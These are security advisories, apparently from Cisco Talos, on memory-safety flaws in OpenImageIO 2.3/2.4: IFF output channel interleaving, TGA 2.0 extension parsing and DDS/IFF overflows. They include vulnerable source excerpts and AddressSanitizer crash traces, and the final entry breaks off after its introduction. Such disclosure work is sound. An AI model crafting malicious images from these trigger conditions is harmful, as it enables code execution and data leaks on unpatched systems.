An information disclosure vulnerability exists in the IFFOutput channel interleaving functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to leaked heap data. An attacker can provide malicious input to trigger this vulnerability.

**SUMMARY**

An information disclosure vulnerability exists in the IFFOutput channel interleaving functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to leaked heap data. An attacker can provide malicious input to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO v2.4.4.2

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

5.9 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-125 - Out-of-bounds Read

**DETAILS**

OpenImageIO is an image processing library with easy to use interfaces and a sizable amount of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3d-processing software from AliceVision (including Meshroom) and is also used by Blender for reading Photoshop .psd files.

Along with parsing files of various formats, libOpenImageIO is also capable of creating new files in these formats. For instance, if we look briefly at the OpenImageIO iconvert utility as an example, there are two functions capable of doing this image creation:

    static bool
    convert_file(const std::string& in_filename, const std::string& out_filename)
    {
        // [...]
    
        // Find an ImageIO plugin that can open the input file, and open it.
        auto in = ImageInput::open(in_filename);                              // [1]
        // [...]
        ImageSpec inspec         = in->spec();                                // [2]
    
        // Find an ImageIO plugin that can open the output file, and open it
        auto out = ImageOutput::create(tempname);                             // [3]
       
        // [...]
    
            if (!nocopy) { 
                ok = out->copy_image(in.get());                                   // [4]
                if (!ok)
                    std::cerr << "iconvert ERROR copying \"" << in_filename
                              << "\" to \"" << out_filename << "\" :\n\t"
                              << out->geterror() << "\n";
            } else {
                // Need to do it by hand for some reason.  Future expansion in which
                // only a subset of channels are copied, or some such.
                std::vector<char> pixels((size_t)outspec.image_bytes(true));
                ok = in->read_image(subimage, miplevel, 0, outspec.nchannels,     // [5]
                                    outspec.format, &pixels[0]);
                if (!ok) {
                    std::cerr << "iconvert ERROR reading \"" << in_filename
                              << "\" : " << in->geterror() << "\n";
                } else {
                    ok = out->write_image(outspec.format, &pixels[0]);              // [6]
                    if (!ok)
                        std::cerr << "iconvert ERROR writing \"" << out_filename
                                  << "\" : " << out->geterror() << "\n";
                }
          
           }
           
          ++miplevel;
        } while (ok && in->seek_subimage(subimage, miplevel, inspec));
    }
    
    out->close(); // [7]
    in->close();
    

The most important pieces are that we have an ImageInput object \[1\], an input specification \[2\] and an output image (whose type is determined by the filename extension) \[3\]. An output specification can be copied from the input specification and modified in case of incompatibilities with the output format. Subsequently we can either call ImageOutput::copy_image(in.get()) \[4\] or read the input into a buffer at \[5\] and then write the buffer to our ImageOutput at \[6\]. Now, it’s worth noting we cannot really know how libOpenImageIO will get its input images and specifications, and so the ImageOutput vulnerabilities are all applicable only in situations where an attacker can control the input file or specification that is then used to generate an ImageOutput object (like above).

If we end up generating a .iff file, then we appropriately end up hitting code inside src/iff.imageio/iffoutput.cpp. Upon opening the output file via IffOutput::open, assorted m_iff_header fields are set and our object’s scratch m_buf is resized to accommodate any images we wish to convert. It’s only upon IffOutput::close(), however, that this image data is flushed into the scratch buffers and eventually written to our resultant file. Starting with inline bool IffOutput::close(void):

       if (m_fd && m_buf.size()) {
            // [...]
            
            // write y-tiles
            for (uint32_t ty = 0; ty < tile_height_size(m_spec.height); ty++) {  
                // write x-tiles
                for (uint32_t tx = 0; tx < tile_width_size(m_spec.width); tx++) {  
                    // channels
                    uint8_t channels = m_iff_header.pixel_channels;                 // [8]
    
                    // set tile coordinates
                    uint16_t xmin, xmax, ymin, ymax;
    
                    // set xmin and xmax
                    xmin = tx * tile_width();
                    xmax = std::min(xmin + tile_width(), m_spec.width) - 1;         
    
                    // set ymin and ymax
                    ymin = ty * tile_height();
                    ymax = std::min(ymin + tile_height(), m_spec.height) - 1;      
    

As one might expect, we iterate over the height and width of our input image data and eventually start writing tile-by-tile. At \[8\] we also see the amount of channels our data has is taken from the m_iff_header.pixel_channels, which is essentially the m_spec.nchannels from our input specification. Continuing on to how the channel variable is used when we’re dealing with 16-bit pixel data:

                // handle 16-bit data
                else if (m_spec.format == TypeDesc::UINT16) {
                    if (tile_compress) {
                        uint32_t index = 0, size = 0;
                        std::vector<uint8_t> tmp;
    
                        // set bytes.
                        tmp.resize(tile_length * 2);
    
                        // set map
                        std::vector<uint8_t> map;            // [9]
                        if (littleendian()) {
                            int rgb16[]  = { 0, 2, 4, 1, 3, 5 };
                            int rgba16[] = { 0, 2, 4, 7, 1, 3, 5, 6 };
                            if (m_iff_header.pixel_channels == 3) {
                                map = std::vector<uint8_t>(rgb16, &rgb16[6]);   
                            } else {
                                map = std::vector<uint8_t>(rgba16, &rgba16[8]); 
                            }
    
                        } else {
                            int rgb16[]  = { 1, 3, 5, 0, 2, 4 };
                            int rgba16[] = { 1, 3, 5, 7, 0, 2, 4, 6 };
                            if (m_iff_header.pixel_channels == 3) {
                                map = std::vector<uint8_t>(rgb16, &rgb16[6]); 
                            } else {
                                map = std::vector<uint8_t>(rgba16, &rgba16[8]);
                            }
                        }
    
                        // map: RRGGBB(AA) to BGR(A)BGR(A)
    

As explained by the comment at the bottom of the code, for cases where there’s more than one channel and 16-bit pixel data, we must interleave the data into a slightly different format. A map is created at \[9\], where the contents are determined by both the number of pixel channels and also the endianness of the system. It can either be six or eight elements long. We continue into the code immediately following this to examine how the map is used:

                        // map: RRGGBB(AA) to BGR(A)BGR(A)
                        
                        for (int c = (channels * m_spec.channel_bytes()) - 1; c >= 0; --c) {     //  [10]
                            int mc = map[c];                                                       //  [11]
    
                            std::vector<uint8_t> in(tw * th);
                            uint8_t* in_p = &in[0];
    
                            // set tile
                            for (uint16_t py = ymin; py <= ymax; py++) {
                                const uint8_t* in_dy
                                    = &m_buf[0]
                                      + (py * m_spec.width)
                                            * m_spec.pixel_bytes();
    
                                for (uint16_t px = xmin; px <= xmax; px++) {
                                    // get pixel
                                    uint8_t pixel;
                                    const uint8_t* in_dx  = in_dy + px * m_spec.pixel_bytes() + mc;     // [12]
                                    memcpy(&pixel, in_dx, 1);
                                    // set pixel.
                                    *in_p++ = pixel;
                                }
                            }
    
                            // compress rle channel
                            size = compress_rle_channel(&in[0], &tmp[0] + index, tw * th); // [13]
                            index += size;
                        }
    

At \[10\] we enter a loop to iterate over all of the channels. At \[11\] we end up grabbing an element from our map to know where we should read from our input pixel data at \[12\]. An issue exists, however, in the fact that certain input file types can have more than four channels. For instance, if we look at the .tiff file format:

    tiffinput.cpp:        if (pvt::limit_channels && m_spec.nchannels > pvt::limit_channels) {
    libOpenImageIO/imageio.cpp:int limit_channels(1024);
    

There really is only a check to make sure the channels are less than 1024. Alternatively, since we’re only dealing with the output code, and this is a library, we cannot be sure that the input specification will have a channel that is <= 4. For instance, when we grab our map element at at \[11\] into mc, it ends up reading out of bounds on the heap, which causes us to add a potentially out of bounds index into the calculation at \[12\]. This results in out-of-bounds data being read into our in vector before being compressed at \[13\]. Depending on how this code is utilized and the state and implementation of the heap at the time of IFFOutput::close() being called, this could quickly result in an information disclosure of sensitive heap data.

**Crash Information**

    ==826108==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000020f9 at pc 0x7ffff3c02895 bp 0x7fffffffae50 sp 0x7fffffffae48
    READ of size 1 at 0x6020000020f9 thread T0
    [Detaching after fork from child process 826118]
        #0 0x7ffff3c02894 in OpenImageIO_v2_4::IffOutput::close() /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:373:38
        #1 0x555555649a6d in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /oiio/fuzzing_release/./iconvert.cpp:475:10
        #2 0x5555556453c8 in main /oiio/fuzzing_release/./iconvert.cpp:523:14
        #3 0x7fffeac23d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #4 0x7fffeac23e3f in __libc_start_main csu/../csu/libc-start.c:392:3
        #5 0x555555584ed4 in _start (/oiio/fuzzing/triage/iconvert_testing_dir/iconvert+0x30ed4) (BuildId: 8d9c54aeaee5ba79c4320b01f97dc76bf6e7ce61)
    
    0x6020000020f9 is located 1 bytes to the right of 8-byte region [0x6020000020f0,0x6020000020f8)
    allocated by thread T0 here:
        #0 0x555555642aed in operator new(unsigned long) (/oiio/fuzzing/triage/iconvert_testing_dir/iconvert+0xeeaed) (BuildId: 8d9c54aeaee5ba79c4320b01f97dc76bf6e7ce61)
        #1 0x7ffff160e411 in __gnu_cxx::new_allocator<unsigned char>::allocate(unsigned long, void const*) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/ext/new_allocator.h:127:27
        #2 0x7ffff160e293 in std::allocator_traits<std::allocator<unsigned char> >::allocate(std::allocator<unsigned char>&, unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/alloc_traits.h:464:20
        #3 0x7ffff160cd2b in std::_Vector_base<unsigned char, std::allocator<unsigned char> >::_M_allocate(unsigned long) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:346:20
        #4 0x7ffff3bf16b9 in void std::vector<unsigned char, std::allocator<unsigned char> >::_M_range_initialize<int*>(int*, int*, std::forward_iterator_tag) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:1582:14
        #5 0x7ffff3bef979 in std::vector<unsigned char, std::allocator<unsigned char> >::vector<int*, void>(int*, int*, std::allocator<unsigned char> const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/stl_vector.h:657:4
        #6 0x7ffff3c024fb in OpenImageIO_v2_4::IffOutput::close() /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:357:39
        #7 0x555555649a6d in convert_file(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /oiio/fuzzing_release/./iconvert.cpp:475:10
        #8 0x5555556453c8 in main /oiio/fuzzing_release/./iconvert.cpp:523:14
        #9 0x7fffeac23d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /oiio/oiio-2.4.4.2/src/iff.imageio/iffoutput.cpp:373:38 in OpenImageIO_v2_4::IffOutput::close()
    Shadow bytes around the buggy address:
      0x0c047fff83c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff83d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff83e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff83f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8400: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
    =>0x0c047fff8410: fa fa fd fd fa fa fd fa fa fa fd fd fa fa 00[fa]
      0x0c047fff8420: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8430: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8440: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c047fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==826108==ABORTING
    [Thread 0x7fffe4cf9640 (LWP 826117) exited]
    [Thread 0x7fffe54fa640 (LWP 826116) exited]
    [Thread 0x7fffe5cfb640 (LWP 826115) exited]
    [Thread 0x7fffe64fc640 (LWP 826114) exited]
    [Thread 0x7fffe6cfd640 (LWP 826113) exited]
    [Thread 0x7fffe74fe640 (LWP 826112) exited]
    [Thread 0x7fffe7cff640 (LWP 826111) exited]
    [Inferior 1 (process 826108) exited with code 01]
    

**TIMELINE**

2022-11-14 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-43596: TALOS-2022-1654 || Cisco Talos Intelligence Group

A stack-based buffer overflow vulnerability exists in the TGA file format parser of OpenImageIO v2.3.19.0. A specially-crafted targa file can lead to out of bounds read and write on the process stack, which can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the TGA file format parser of OpenImageIO v2.3.19.0. A specially-crafted targa file can lead to out of bounds read and write on the process stack, which can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO v2.3.19.0

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H AC High because exploitability highly depends on the way the code is compiled Also, it is limited to being only an OOB read in current master branch. (comment: Aleks)  
\##### CWE

CWE-121 - Stack-based Buffer Overflow

**DETAILS**

OpenImageIO is an image processing library with easy-to-use interfaces and a sizable number of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3D-processing software from AliceVision (including Meshroom), as well as Blender for reading Photoshop .psd files.

When reading in Targa (.tga) files, the libOpenImageIO code flows are pretty quick and easy, matching the relative simpleness of the file format itself. Starting with TGAInput::open(const std::stirng &name, ImageSpec& newspec):

    bool
    TGAInput::open(const std::string& name, ImageSpec& newspec)
    {
        m_filename = name;
    
        DBG("TGA opening {}\n", name);
        uint64_t filesize = Filesystem::file_size(name);
        m_file            = Filesystem::fopen(name, "rb");
        if (!m_file) {
            errorf("Could not open file \"%s\"", name);
            return false;
        }
    
        // Due to struct packing, we may get a corrupt header if we just load the
        // struct from file; to address that, read every member individually save
        // some typing. Byte swapping is done automatically. If any fail, the file
        // handle is closed and we return false from open().
        if (!(read(m_tga.idlen) && read(m_tga.cmap_type) && read(m_tga.type)
              && read(m_tga.cmap_first) && read(m_tga.cmap_length)
              && read(m_tga.cmap_size) && read(m_tga.x_origin)
              && read(m_tga.y_origin) && read(m_tga.width) && read(m_tga.height)
              && read(m_tga.bpp) && read(m_tga.attr))) {
            errorfmt("Could not read full header");
            return false;
        }
    

The file is opened and we start reading the appropriate fields into the following struct:

    <(^.^)>#ptype m_tga
    type = struct {
        uint8_t idlen;
        uint8_t cmap_type;
        uint8_t type;
        uint16_t cmap_first;
        uint16_t cmap_length;
        uint8_t cmap_size;
        uint16_t x_origin;
        uint16_t y_origin;
        uint16_t width;
        uint16_t height;
        uint8_t bpp;
        uint8_t attr;
    }
    

Assorted validation on these parameters occurs, but is not really worth delving into. Assuming we pass all the checks, we end up reading the last 26 bytes of the file to see if it’s a TGA 2.0 image, which will require extra parsing:

    // now try and see if it's a TGA 2.0 image
    // TGA 2.0 files are identified by a nifty "TRUEVISION-XFILE.\0" signature
    bool check_for_tga2 = (filesize > 26 + 18);                             // [1]
    if (check_for_tga2 && Filesystem::fseek(m_file, -26, SEEK_END) != 0) {
        errorfmt("Could not seek to find the TGA 2.0 signature.");
        return false;
    }
    if (check_for_tga2 && read(m_foot.ofs_ext) && read(m_foot.ofs_dev)     // [2]
        && fread(&m_foot.signature, sizeof(m_foot.signature), 1)
        && !strncmp(m_foot.signature, "TRUEVISION-XFILE.", 17)) {            // [3]
        //std::cerr << "[tga] this is a TGA 2.0 file\n";
        m_spec.attribute("targa:version", 2);
        m_tga_version = 2;
    
        // read the extension area
        if (!fseek(m_foot.ofs_ext)) {   // [4]
            return false;
        }
    

At \[1\], we make sure we have the required 44 bytes, and assuming so, we read all the fields of the m_foot struct at \[2\]:

    <(^.^)>#ptype m_foot
    type = struct {
        uint32_t ofs_ext;
        uint32_t ofs_dev;
        char signature[18];
    }
    

If the signature is found via the strncmp at \[3\], then we read more specific information after that from the absolute offset into the file given by m_foot.ofs_ext at \[4\]:

        // check if this is a TGA 2.0 extension area
        // according to the 2.0 spec, the size for valid 2.0 files is exactly
        // 495 bytes, and the reader should only read as much as it understands
        // for < 495, we ignore this section of the file altogether
        // for > 495, we only read what we know
        uint16_t s;
        if (!read(s))
            return false;
        //std::cerr << "[tga] extension area size: " << s << "\n";
        if (s >= 495) {                 // [5]
            union { 
                unsigned char c[324];  // so as to accommodate the comments
                uint16_t s[6];
                uint32_t l;
            } buf;
    
            // load image author
            if (!fread(buf.c, 41, 1))
                return false;
            if (buf.c[0])
                m_spec.attribute("Artist", (char*)buf.c); // [6]
    
            // load image comments
            if (!fread(buf.c, 324, 1))     // [7]
                return false;
    

If the size of our extension area is greater than or equal to 495, then we end up hitting the branch at \[5\], where we start reading into the stack-based union buf, which is 324 bytes long. The basic codeflow after this is to just read bytes into the buf union and then call m_spec.attribute to set various attributes of our resultant object (the first example is seen at \[6\]). A clear oversight can be seen on line \[7\] however, as the entirety of the buf buffer is filled up by fread, a function that does not null terminate the end result. If we continue on in TGAinput::open(), we can quickly see an assortment of instances where this causes out-of-bounds stack data to be read:

            // concatenate the lines into a single string
            std::string tmpstr((const char*)buf.c);
            if (buf.c[81]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[81];
            }
            if (buf.c[162]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[162];
            }
            if (buf.c[243]) {
                tmpstr += "\n";
                tmpstr += (const char*)&buf.c[243]; 
            }
    

Each of these tmpstr += ... buf.c[] lines will read out of bounds assuming there are no null bytes within the buffer, but we can keep looking to see a more interesting instance:

            // timestamp
            if (!fread(buf.s, 2, 6))
                return false;
            if (buf.s[0] || buf.s[1] || buf.s[2] || buf.s[3] || buf.s[4]
                || buf.s[5]) {
                if (bigendian())
                    swap_endian(&buf.s[0], 6);
                sprintf((char*)&buf.c[12], "%04u:%02u:%02u %02u:%02u:%02u",   
                        buf.s[2], buf.s[0], buf.s[1], buf.s[3], buf.s[4],
                        buf.s[5]);
                m_spec.attribute("DateTime", (char*)&buf.c[12]);
            }
    
            // job name/ID
            if (!fread(buf.c, 41, 1))
                return false;
            if (buf.c[0])
                m_spec.attribute("DocumentName", (char*)buf.c);
    
            // job time
            if (!fread(buf.s, 2, 3))
                return false;
            if (buf.s[0] || buf.s[1] || buf.s[2]) {
                if (bigendian())
                    swap_endian(&buf.s[0], 3);
                sprintf((char*)&buf.c[6], "%u:%02u:%02u", buf.s[0], buf.s[1],  
                        buf.s[2]);
                m_spec.attribute("targa:JobTime", (char*)&buf.c[6]);
            }
    
            // software
            if (!fread(buf.c, 41, 1))       // [8]
                return false;
            uint16_t n;
            char l;
            if (!read(n) || !read(l))
                return false;
            if (buf.c[0]) {
                // tack on the version number and letter
                sprintf((char*)&buf.c[strlen((char*)buf.c)], " %u.%u%c",  // [10]
                        n / 100, n % 100, l != ' ' ? l : 0);
                m_spec.attribute("Software", (char*)buf.c);
            }
    

For each of these code blocks, more bytes are read in from the file and if there are any non-null bytes, a sprintf occurs. But if we look at the block starting at \[8\], we read in 41 new bytes and then use those bytes to formulate a Software attribute at the sprintf at \[10\]. But we can quickly see that the Software write occurs inside buf.c[strlen(buf.c)], which if we’ll remember, is not necessarily null terminated. Thus, the strlen(buf.c) can return a value greater than the size of the temp buf buffer, and the sprintf can out-of-bounds write to other variables in the stack. The exact location is obviously dependent on how the software is compiled, but it could potentially result in code execution.

It should be noted that this vulnerability is only an out-of-bounds read in the current master branch commit, as sprintf(buf[strlen(buf)]) is not used, and so we can only disclose out-of-bounds stack data instead.

**Crash Information**

    =================================================================
    ==507317==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff9574 at pc 0x5555555c4e56 bp 0x7fffffff9070 sp 0x7fffffff8838
    READ of size 82 at 0x7fffffff9574 thread T0
    [Detaching after fork from child process 507321]
        #0 0x5555555c4e55 in strlen (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x70e55) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #1 0x7ffff7eca987 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator+=(char const*) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x14d987) (BuildId: 725ef5da52ee6d881f9024d8238a989903932637)
        #2 0x7ffff35ed433 in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:338:24
        #3 0x7ffff35f8d49 in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&, OpenImageIO_v2_3::ImageSpec const&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:499:12
        #4 0x7ffff2577669 in OpenImageIO_v2_3::ImageInput::create(OpenImageIO_v2_3::string_view, bool, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*, OpenImageIO_v2_3::string_view) /oiio/oiio-2.3.19.0-unpatched/src/libOpenImageIO/imageioplugin.cpp:758:27
        #5 0x7ffff2456589 in OpenImageIO_v2_3::ImageInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec const*, OpenImageIO_v2_3::Filesystem::IOProxy*) /oiio/oiio-2.3.19.0-unpatched/src/libOpenImageIO/imageinput.cpp:105:16
        #6 0x55555566f40f in LLVMFuzzerTestOneInput /oiio/fuzzing/./oiio_harness.cpp:77:16
        #7 0x5555555954e3 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x414e3) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #8 0x55555557f25f in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x2b25f) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #9 0x555555584fb6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x30fb6) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #10 0x5555555aedd2 in main (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x5add2) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
        #11 0x7fffe8b75d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #12 0x7fffe8b75e3f in __libc_start_main csu/../csu/libc-start.c:392:3
        #13 0x555555579b24 in _start (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x25b24) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25)
    
    Address 0x7fffffff9574 is located in stack of thread T0 at offset 1236 in frame
        #0 0x7ffff35e171f in OpenImageIO_v2_3::TGAInput::open(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, OpenImageIO_v2_3::ImageSpec&) /oiio/oiio-2.3.19.0-unpatched/src/targa.imageio/targainput.cpp:168
    
      This frame has 45 object(s):
        [32, 48) 'agg.tmp'
        [64, 80) 'agg.tmp10'
        [96, 112) 'agg.tmp13'
        [128, 288) 'ref.tmp' (line 242)
        [352, 360) 'agg.tmp519'
        [384, 400) 'agg.tmp534'
        [416, 432) 'agg.tmp573'
        [448, 464) 'agg.tmp574'
        [480, 736) 'id' (line 272)
        [800, 816) 'agg.tmp605'
        [832, 848) 'agg.tmp606'
        [864, 880) 'agg.tmp678'
        [896, 898) 's' (line 305)
        [912, 1236) 'buf' (line 310)
        [1312, 1328) 'agg.tmp718' <== Memory access at offset 1236 partially underflows this variable
        [1344, 1360) 'agg.tmp719'
        [1376, 1408) 'tmpstr' (line 327)
        [1440, 1441) 'ref.tmp732' (line 327)
        [1456, 1472) 'agg.tmp806'
        [1488, 1504) 'agg.tmp808'
        [1520, 1536) 'agg.tmp939'
        [1552, 1568) 'agg.tmp941'
        [1584, 1600) 'agg.tmp972'
        [1616, 1632) 'agg.tmp974'
        [1648, 1664) 'agg.tmp1051'
        [1680, 1696) 'agg.tmp1053'
        [1712, 1714) 'n' (line 376)
        [1728, 1729) 'l' (line 377)
        [1744, 1760) 'agg.tmp1119'
        [1776, 1792) 'agg.tmp1121'
        [1808, 1824) 'agg.tmp1160'
        [1840, 1844) 'gamma' (line 410)
        [1856, 1872) 'agg.tmp1224'
        [1888, 1904) 'agg.tmp1227'
        [1920, 1936) 'agg.tmp1237'
        [1952, 1968) 'agg.tmp1239'
        [1984, 2016) 'ref.tmp1240' (line 419)
        [2048, 2064) 'agg.tmp1252'
        [2080, 2096) 'agg.tmp1317'
        [2112, 2114) 'res' (line 460)
        [2128, 2144) 'agg.tmp1369'
        [2160, 2176) 'agg.tmp1383'
        [2192, 2208) 'agg.tmp1401'
        [2224, 2240) 'agg.tmp1443'
        [2256, 2272) 'agg.tmp1474'
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow (/oiio/fuzzing/unpatched_setup/fuzz_oiio.bin+0x70e55) (BuildId: e9d97e110da8ca7129ca0569fb37dfa703dccc25) in strlen
    Shadow bytes around the buggy address:
      0x10007fff7250: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
      0x10007fff7260: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8
      0x10007fff7270: f2 f2 f2 f2 f2 f2 f2 f2 00 00 f2 f2 00 00 f2 f2
      0x10007fff7280: 00 00 f2 f2 02 f2 00 00 00 00 00 00 00 00 00 00
      0x10007fff7290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x10007fff72a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[04]f2
      0x10007fff72b0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 f2 f2 00 00 f2 f2
      0x10007fff72c0: 00 00 00 00 f2 f2 f2 f2 f8 f2 00 00 f2 f2 00 00
      0x10007fff72d0: f2 f2 00 00 f2 f2 00 00 f2 f2 00 00 f2 f2 00 00
      0x10007fff72e0: f2 f2 00 00 f2 f2 00 00 f2 f2 f8 f2 f8 f2 00 00
      0x10007fff72f0: f2 f2 00 00 f2 f2 00 00 f2 f2 f8 f2 00 00 f2 f2
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==507317==ABORTING
    [Thread 0x7fffe2ff9640 (LWP 507320) exited]
    

**TIMELINE**

2022-10-19 - Initial Vendor Contact  
2022-10-20 - Vendor Disclosure  
2022-12-22 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2022-41981: TALOS-2022-1628 || Cisco Talos Intelligence Group

A code execution vulnerability exists in the DDS scanline parsing functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially-crafted .dds can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2022-41838: TALOS-2022-1634 || Cisco Talos Intelligence Group

Multiple memory corruption vulnerabilities exist in the IFFOutput alignment padding functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to arbitrary code execution. An attacker can provide malicious input to trigger these vulnerabilities.This vulnerability arises when the `m_spec.format` is `TypeDesc::UINT16`.

**SUMMARY**

Multiple memory corruption vulnerabilities exist in the IFFOutput alignment padding functionality of OpenImageIO Project OpenImageIO v2.4.4.2. A specially crafted ImageOutput Object can lead to arbitrary code execution. An attacker can provide malicious input to trigger these vulnerabilities.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

OpenImageIO Project OpenImageIO v2.4.4.2

**PRODUCT URLS**

OpenImageIO - https://github.com/OpenImageIO/oiio

**CVSSv3 SCORE**

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**DETAILS**

OpenImageIO is an image processing library with easy-to-use interfaces and a sizable number of supported image formats. Useful for conversion and processing and even image comparison, this library is utilized by 3D-processing software from AliceVision (including Meshroom), as well as Blender for reading Photoshop .psd files.

We will be looking at two instances of a similar vulnerability; the first description will look at the general details of the bugs and the specifics of the first, whilst the descriptions of the subsequent vulnerabilities will focus on the differences.

